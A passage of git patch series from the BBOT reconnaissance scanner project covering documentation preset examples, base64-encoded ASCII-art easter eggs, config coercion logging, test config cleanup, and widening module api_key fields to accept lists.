the following config options: ```yaml title="splunk_preset.yml" +output_modules: + - splunk + config: modules: splunk: @@ -229,6 +249,9 @@ bbot -t evilcorp.com -om postgres -c modules.postgres.database=custom_bbot_db ``` ```yaml title="postgres_preset.yml" +output_modules: + - postgres + config: modules: postgres: @@ -249,6 +272,9 @@ bbot -t evilcorp.com -om mysql -c modules.mysql.database=custom_bbot_db ``` ```yaml title="mysql_preset.yml" +output_modules: + - mysql + config: modules: mysql: From a901c0cbf75dc3923dd8ec5dcab5b966e9a77178 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 16:58:30 -0400 Subject: [PATCH 738/912] docs: include webhook_url in all discord preset examples --- docs/scanning/output.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 776d1b91fd..463e19e45b 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -117,6 +117,7 @@ output_modules: config: modules: discord: + webhook_url: https://discord.com/api/webhooks/1234/deadbeef event_types: - FINDING - STORAGE_BUCKET @@ -124,7 +125,7 @@ config: ...or on the command line: ```bash -bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING"] +bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef -c modules.discord.event_types=["STORAGE_BUCKET","FINDING"] ``` You can also filter on the severity of `FINDING` events by setting `min_severity`: @@ -136,6 +137,7 @@ output_modules: config: modules: discord: + webhook_url: https://discord.com/api/webhooks/1234/deadbeef min_severity: HIGH ``` From c32332e02d99037a6802e0077eaae0069404f7da Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 17:51:05 -0400 Subject: [PATCH 739/912] Add 'recursive' adjective; fix easter egg triggers - Add 'recursive' to scan name adjectives (how was this missing?) - Both easter eggs now require exact name match (recursive_thetechromancer, golden_gus) instead of endswith - Skip easter eggs entirely when NO_COLOR is set --- bbot/core/helpers/names_generator.py | 1 + bbot/scanner/scanner.py | 25 +++++++++++-------------- 2 files changed, 12 insertions(+), 14 deletions(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index ef7b02a186..13d43c007b 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -237,6 +237,7 @@ "rapid_unscheduled", "raving", "reckless", + "recursive", "reductive", "ripped", "ruthless", diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index e9602d7fd2..3ff564827b 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -1,3 +1,4 @@ +import os import sys import asyncio import logging @@ -184,36 +185,32 @@ def __init__( self.name = scan_name.replace("/", "_") # :) - if self.name == "golden_gus": - import os + if self.name == "golden_gus" and not os.environ.get("NO_COLOR", ""): from base64 import b64decode as _d _a = _d( "ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8=" ).decode() _m = _d("R3VzIGhhcyBibGVzc2VkIHlvdXIgc2Nhbi4=").decode() - no_color = bool(os.environ.get("NO_COLOR", "")) - gold = "" if no_color else "\033[1;38;5;220m" - green = "" if no_color else "\033[1;38;5;118m" - reset = "" if no_color else "\033[0m" + gold = "\033[1;38;5;220m" + green = "\033[1;38;5;118m" + reset = "\033[0m" log_to_stderr( f"{gold}{_a}{reset}\n {green}{_m}{reset}", level="HUGESUCCESS", logname=False, ) - if self.name.lower().endswith("_thetechromancer"): - import os, re + if self.name == "recursive_thetechromancer" and not os.environ.get("NO_COLOR", ""): from base64 import b64decode as _d _a = _d( "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4qO/4qO/4qG8G1sxOzM4OzU7MTcwbeKjv+Kjv+Kjv+Kjv+KhheKgguKgghtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qKA4qK74qO/G1sxOzM4OzU7MTA0beKjv+Kjv+Khh+KggRtbMTszODs1Ozk4beKggeKggeKiv+KjvxtbMTszODs1OzEzNG3ioJ/ioIHioIHioIHioIHioLjio7/io7/io7fio7/io78bWzE7Mzg7NTsxNzBt4qO/4qCK4qKI4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3iooDiooDiooDioITiooDiooDiooDior8bWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kgg+KgguKgghtbMTszODs1Ozk4beKigOKigOKggeKghBtbMTszODs1OzEzNG3ioIDioIDioIDioIDiorHio7/io7/io7/io7/ioZnioLviorfiooQbWzE7Mzg7NTsxNzBt4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3ioITioITioILioILioIHioIHioILioLgbWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kjv+Kgt+KgpBtbMTszODs1Ozk4beKggeKggeKggeKggRtbMTszODs1OzEzNG3ioIDioIDioIDioqDio7/io7/io7/io7/io7/io7fio7bio6Tio6Tio6DiooAbWzBtChtbMTszODs1OzY5beKggOKgguKggeKggeKigOKghOKgguKgguKiuBtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qG34qCW4qCC4qCAG1sxOzM4OzU7OTht4qCA4qCB4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgmOKgieKggeKiu+Kjv+Kjv+Kjv+KguOKiu+Kjv+Kjv+KjvxtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qCE4qOg4qO04qO/4qO/G1sxOzM4OzU7MTA0beKjv+Kjv+KgpuKggOKggBtbMTszODs1Ozk4beKjgOKjgOKggOKggBtbMTszODs1OzEzNG3ioIDioITioILioIHiorjio7/iob/ioKPioITioIHioJnioLvio78bWzBtChtbMTszODs1OzY5beKgguKghOKggeKigeKjpOKjvuKjv+Kjv+Kjv+KjvxtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qO/4qO24qO24qO/G1sxOzM4OzU7OTht4qO/4qO/4qO34qCE4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgiOKgq+KggeKghOKggeKggeKggeKgguKggRtbMG0=" ).decode() - _m = _d("SW4gaG9ub3Igb2Ygb3VyIHNwZWNpYWwgZnJpZW5kIHdobyBoZWxwZWQgbWFrZSBhbGwgdGhpcyBwb3NzaWJsZS4=").decode() - no_color = bool(os.environ.get("NO_COLOR", "")) - if no_color: - _a = re.sub(r"\x1b\[[0-9;]*m", "", _a) - cyan = "" if no_color else "\033[1;38;5;51m" - reset = "" if no_color else "\033[0m" + _m = _d( + "SW4gaG9ub3Igb2Ygb3VyIHNwZWNpYWwgZnJpZW5kIHdobyBoZWxwZWQgbWFrZSBhbGwgdGhpcyBwb3NzaWJsZS4=" + ).decode() + cyan = "\033[1;38;5;51m" + reset = "\033[0m" log_to_stderr( f"{_a}\n{cyan}{_m}{reset}", level="HUGESUCCESS", From f3fe87fc1cc2b588b0150c72016333db7796fb11 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 18:07:51 -0400 Subject: [PATCH 740/912] Clean up comments; log coercion errors instead of silencing --- bbot/scanner/preset/preset.py | 16 +++++----------- bbot/test/test_step_1/test_config.py | 3 +-- bbot/test/test_step_1/test_presets.py | 2 +- 3 files changed, 7 insertions(+), 14 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 47bbe53a6d..fa83af5431 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -989,19 +989,14 @@ def validate(self): """ from bbot.core.config.models import coerce_config - # Coerce config values toward their declared types (this is the single - # coercion point, lifted out of bake()): the runtime gets real typed - # values, and type-coercible values (e.g. an all-numeric password) pass - # validation cleanly instead of being rejected. + # Coerce config values toward their declared types try: index = self.module_loader.config_type_index self.core.custom_config = coerce_config(self.core.custom_config, index) - except Exception: - pass + except Exception as e: + log.debug(f"Config coercion error: {e}") - # Validate the (coerced) user config against the schema. This covers - # every entry point (programmatic Preset(config=)/Scanner(config=), - # bbot.yml/secrets.yml, presets, CLI) -- not just from_dict / CLI args. + # Validate the (coerced) user config against the schema from .validate import validate_preset errs = validate_preset({"config": dict(self.core.custom_config)}, module_loader=self.module_loader) @@ -1017,8 +1012,7 @@ def validate(self): raise ValidationError( get_closest_match(excluded_module, self.module_loader.all_module_choices, msg="module") ) - # validate declared module names (same _is_valid_module check bake() uses) so - # typos fail here, not at bake(). Set resolution + dnsresolve stay in bake(). + # validate declared module names so typos fail early for scan_module in self.explicit_scan_modules: self._is_valid_module(scan_module, "scan", name_only=True) for output_module in self.explicit_output_modules: diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py index 16a697c509..6de63e6b44 100644 --- a/bbot/test/test_step_1/test_config.py +++ b/bbot/test/test_step_1/test_config.py @@ -3,8 +3,7 @@ @pytest.mark.asyncio async def test_config(bbot_scanner): - # config is now strictly validated, so propagation is tested with REAL keys - # (the old sentinel keys "plumbus" / "test_option" are rejected as typos). + # config is strictly validated, so propagation must be tested with real keys config = { "status_frequency": 5, "speculate": True, diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 1a0c35e4d0..f5de75bf48 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -785,7 +785,7 @@ class TestModule5(BaseModule): """ ) - # unknown module name is caught at validate() (from_dict gates only top-level keys); bake() is the backstop + # unknown module name is caught at validate() with pytest.raises(ValidationError): Preset.from_yaml_string( """ From 2d1b1a9be7310a1016496db245b32e1510e95fd6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 18:48:32 -0400 Subject: [PATCH 741/912] Migrate stale module names in test.conf to current names --- bbot/test/test.conf | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/bbot/test/test.conf b/bbot/test/test.conf index 1c6a19dbf7..7c607615a7 100644 --- a/bbot/test/test.conf +++ b/bbot/test/test.conf @@ -1,10 +1,8 @@ home: /tmp/.bbot_test modules: - massdns: + dnsbrute: wordlist: https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt - ffuf: - prefix_busting: true - http: + webhook: url: http://127.0.0.1:11111 username: username password: password @@ -25,7 +23,7 @@ dns: disable: false minimal: true search_distance: 1 - debug: false + debug: true timeout: 1 wildcard_ignore: - blacklanternsecurity.com @@ -40,11 +38,8 @@ deps: behavior: retry_failed engine: debug: true -agent_url: ws://127.0.0.1:8765 -agent_token: test speculate: false excavate: false aggregate: false cloudcheck: false omit_event_types: [] -debug: true From c5dd67e7b42e0180fa5e1d7b1015478f769f1d35 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 19:36:36 -0400 Subject: [PATCH 742/912] Fix module test config leak from DEFAULT_CONFIG singleton --- bbot/test/test_step_2/module_tests/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 47927382c9..448c12ab09 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -28,7 +28,7 @@ def __init__( self, module_test_base, blasthttp_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys ): self.name = module_test_base.name - self.config = deep_merge(dict(CORE.config), dict(module_test_base.config_overrides)) + self.config = deep_merge(dict(CORE.custom_config), dict(module_test_base.config_overrides)) self.caplog = caplog self.capsys = capsys From ae1d2125fde0c2363665e44b247513f8ebfd2721 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 20:00:23 -0400 Subject: [PATCH 743/912] Remove dead config_overrides from aspnet_bin_exposure test --- .../module_tests/test_module_aspnet_bin_exposure.py | 9 --------- 1 file changed, 9 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index 1ce91d45fc..e53e0c4dc2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -5,15 +5,6 @@ class TestAspnetBinExposure(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["http", "aspnet_bin_exposure"] - config_overrides = { - "modules": { - "aspnet_bin_exposure": { - "test_dlls": [ - "Newtonsoft.Json.dll", - ] - } - } - } async def setup_before_prep(self, module_test): # Simulate successful DLL exposure From eaff23025b8afa654c4e39f5f422dc4bde02e711 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 20:27:54 -0400 Subject: [PATCH 744/912] Accept list[str] for api_key config; don't stringify collections during coercion --- bbot/core/config/models.py | 4 +++- bbot/modules/bevigil.py | 2 +- bbot/modules/bufferoverrun.py | 2 +- bbot/modules/builtwith.py | 2 +- bbot/modules/c99.py | 2 +- bbot/modules/censys_dns.py | 2 +- bbot/modules/censys_ip.py | 2 +- bbot/modules/chaos.py | 2 +- bbot/modules/dehashed.py | 2 +- bbot/modules/fullhunt.py | 2 +- bbot/modules/git_clone.py | 2 +- bbot/modules/github_codesearch.py | 2 +- bbot/modules/github_org.py | 2 +- bbot/modules/github_usersearch.py | 2 +- bbot/modules/github_workflows.py | 2 +- bbot/modules/gitlab_com.py | 4 +++- bbot/modules/gitlab_onprem.py | 4 +++- bbot/modules/hunterio.py | 2 +- bbot/modules/ip2location.py | 2 +- bbot/modules/ipstack.py | 2 +- bbot/modules/leakix.py | 2 +- bbot/modules/otx.py | 2 +- bbot/modules/postman.py | 2 +- bbot/modules/postman_download.py | 2 +- bbot/modules/securitytrails.py | 2 +- bbot/modules/shodan_dns.py | 2 +- bbot/modules/shodan_enterprise.py | 2 +- bbot/modules/subdomainradar.py | 2 +- bbot/modules/trickest.py | 2 +- bbot/modules/virustotal.py | 2 +- bbot/modules/wpscan.py | 2 +- 31 files changed, 37 insertions(+), 31 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index c95f88e534..f97df5473b 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -223,7 +223,9 @@ def coerce_value(value, accepted): if "str" in accepted and not (accepted & _COLLECTION_NAMES): if is_raw: return value - return None if value is None else str(value) + if value is None or isinstance(value, (list, dict, set)): + return value + return str(value) if accepted == frozenset({"bool"}): v = _yaml_scalar(value) if is_raw else value if isinstance(v, bool): diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py index c657038da1..e5fd13202d 100644 --- a/bbot/modules/bevigil.py +++ b/bbot/modules/bevigil.py @@ -17,7 +17,7 @@ class bevigil(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="BeVigil OSINT API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="BeVigil OSINT API Key", sensitive=True, mandatory=True) urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs") base_url = "https://osint.bevigil.com/api" diff --git a/bbot/modules/bufferoverrun.py b/bbot/modules/bufferoverrun.py index 4744c72b1a..baeb1bad58 100644 --- a/bbot/modules/bufferoverrun.py +++ b/bbot/modules/bufferoverrun.py @@ -13,7 +13,7 @@ class BufferOverrun(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="BufferOverrun API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="BufferOverrun API key", sensitive=True, mandatory=True) commercial: bool = Field(False, description="Use commercial API") base_url = "https://tls.bufferover.run/dns" diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py index 1b34944d55..cc7fd28ce7 100644 --- a/bbot/modules/builtwith.py +++ b/bbot/modules/builtwith.py @@ -25,7 +25,7 @@ class builtwith(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Builtwith API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Builtwith API key", sensitive=True, mandatory=True) redirects: bool = Field(True, description="Also look up inbound and outbound redirects") base_url = "https://api.builtwith.com" diff --git a/bbot/modules/c99.py b/bbot/modules/c99.py index bc0c16f8e2..6b40a2b8e4 100644 --- a/bbot/modules/c99.py +++ b/bbot/modules/c99.py @@ -13,7 +13,7 @@ class c99(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="c99.nl API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="c99.nl API key", sensitive=True, mandatory=True) base_url = "https://api.c99.nl" ping_url = f"{base_url}/randomnumber?key={{api_key}}&between=1,100&json" diff --git a/bbot/modules/censys_dns.py b/bbot/modules/censys_dns.py index f9ba270ac1..f035ff36ff 100644 --- a/bbot/modules/censys_dns.py +++ b/bbot/modules/censys_dns.py @@ -18,7 +18,7 @@ class censys_dns(censys): } class Config(BaseModuleConfig): - api_key: str = Field( + api_key: str | list[str] = Field( "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True ) max_pages: int = Field(5, description="Maximum number of pages to fetch (100 results per page)") diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index 14d35cbf13..078dce65f2 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -25,7 +25,7 @@ class censys_ip(censys): } class Config(BaseModuleConfig): - api_key: str = Field( + api_key: str | list[str] = Field( "", description="Censys.io API Key in the format of 'key:secret'", sensitive=True, mandatory=True ) dns_names_limit: int = Field( diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index 82e72f8f26..c43a192a63 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -13,7 +13,7 @@ class chaos(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Chaos API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Chaos API key", sensitive=True, mandatory=True) base_url = "https://dns.projectdiscovery.io/dns" ping_url = f"{base_url}/example.com" diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py index 805316f808..7ad01a8c1e 100644 --- a/bbot/modules/dehashed.py +++ b/bbot/modules/dehashed.py @@ -15,7 +15,7 @@ class dehashed(subdomain_enum): } class Config(BaseModuleConfig): - api_key: str = Field("", description="DeHashed API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="DeHashed API Key", sensitive=True, mandatory=True) target_only = True diff --git a/bbot/modules/fullhunt.py b/bbot/modules/fullhunt.py index ae7996c7d1..d6a12cf03f 100644 --- a/bbot/modules/fullhunt.py +++ b/bbot/modules/fullhunt.py @@ -13,7 +13,7 @@ class fullhunt(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="FullHunt API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="FullHunt API Key", sensitive=True, mandatory=True) base_url = "https://fullhunt.io/api/v1" diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index 38e4fffba2..38f946f334 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -15,7 +15,7 @@ class git_clone(github): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token", sensitive=True) + api_key: str | list[str] = Field("", description="Github token", sensitive=True) output_folder: str = Field( "", description="Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.", diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py index c4c4dd21b8..538f159b2e 100644 --- a/bbot/modules/github_codesearch.py +++ b/bbot/modules/github_codesearch.py @@ -14,7 +14,7 @@ class github_codesearch(github, subdomain_enum): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True) limit: int = Field(100, description="Limit code search to this many results") github_raw_url = "https://raw.githubusercontent.com/" diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index 4585ebe3e4..327bbfae0c 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -13,7 +13,7 @@ class github_org(github): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token", sensitive=True) + api_key: str | list[str] = Field("", description="Github token", sensitive=True) include_members: bool = Field(True, description="Enumerate organization members") include_member_repos: bool = Field(False, description="Also enumerate organization members' repositories") diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py index 5662ff1cf9..27125e7ce7 100644 --- a/bbot/modules/github_usersearch.py +++ b/bbot/modules/github_usersearch.py @@ -14,7 +14,7 @@ class github_usersearch(github, subdomain_enum): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True) async def handle_event(self, event): self.verbose("Searching for users with emails matching in scope domains") diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index c17c81583d..de786b3e89 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -17,7 +17,7 @@ class github_workflows(github): } class Config(BaseModuleConfig): - api_key: str = Field("", description="Github token", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Github token", sensitive=True, mandatory=True) num_logs: int = Field(1, description="For each workflow fetch the last N successful runs logs (max 100)") output_folder: str = Field("", description="Folder to download workflow logs and artifacts to") diff --git a/bbot/modules/gitlab_com.py b/bbot/modules/gitlab_com.py index 68417c255b..3dd521eca2 100644 --- a/bbot/modules/gitlab_com.py +++ b/bbot/modules/gitlab_com.py @@ -15,7 +15,9 @@ class gitlab_com(GitLabBaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="GitLab access token (for gitlab.com/org only)", sensitive=True) + api_key: str | list[str] = Field( + "", description="GitLab access token (for gitlab.com/org only)", sensitive=True + ) # This is needed because we are consuming SOCIAL events, which aren't in scope scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_onprem.py b/bbot/modules/gitlab_onprem.py index 7e659a6723..b6751302f8 100644 --- a/bbot/modules/gitlab_onprem.py +++ b/bbot/modules/gitlab_onprem.py @@ -20,7 +20,9 @@ class gitlab_onprem(GitLabBaseModule): # Optional GitLab access token (only required for gitlab.com, but still # supported for on-prem installations that expose private projects). class Config(BaseModuleConfig): - api_key: str = Field("", description="GitLab access token (for self-hosted instances only)", sensitive=True) + api_key: str | list[str] = Field( + "", description="GitLab access token (for self-hosted instances only)", sensitive=True + ) # Allow accepting events slightly beyond configured max distance so we can # discover repos on neighbouring infrastructure. diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py index 7fd08a870e..6e51a612e4 100644 --- a/bbot/modules/hunterio.py +++ b/bbot/modules/hunterio.py @@ -9,7 +9,7 @@ class hunterio(subdomain_enum_apikey): meta = {"description": "Query hunter.io for emails", "created_date": "2022-04-25", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - api_key: str = Field("", description="Hunter.IO API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="Hunter.IO API key", sensitive=True, mandatory=True) base_url = "https://api.hunter.io/v2" ping_url = f"{base_url}/account?api_key={{api_key}}" diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py index 2001a04269..309ff65df6 100644 --- a/bbot/modules/ip2location.py +++ b/bbot/modules/ip2location.py @@ -17,7 +17,7 @@ class IP2Location(BaseModule): } class Config(BaseModuleConfig): - api_key: str = Field("", description="IP2location.io API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="IP2location.io API Key", sensitive=True, mandatory=True) lang: str = Field( "", description="Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.", diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py index c1d41b5102..e7b0745e0d 100644 --- a/bbot/modules/ipstack.py +++ b/bbot/modules/ipstack.py @@ -14,7 +14,7 @@ class Ipstack(BaseModule): meta = {"description": "Query IPStack's GeoIP API", "created_date": "2022-11-26", "author": "@tycoonslive"} class Config(BaseModuleConfig): - api_key: str = Field("", description="IPStack GeoIP API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="IPStack GeoIP API Key", sensitive=True, mandatory=True) scope_distance_modifier = 1 _priority = 2 diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index 626d56d9f8..ee25642c1b 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -8,7 +8,7 @@ class leakix(subdomain_enum_apikey): flags = ["safe", "subdomain-enum", "passive"] class Config(BaseModuleConfig): - api_key: str = Field("", description="LeakIX API Key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="LeakIX API Key", sensitive=True, mandatory=True) meta = { "description": "Query leakix.net for subdomains", diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index 53e3e189c2..d126f6ccc9 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -13,7 +13,7 @@ class otx(subdomain_enum_apikey): } class Config(BaseModuleConfig): - api_key: str = Field("", description="OTX API key", sensitive=True, mandatory=True) + api_key: str | list[str] = Field("", description="OTX API key", sensitive=True, 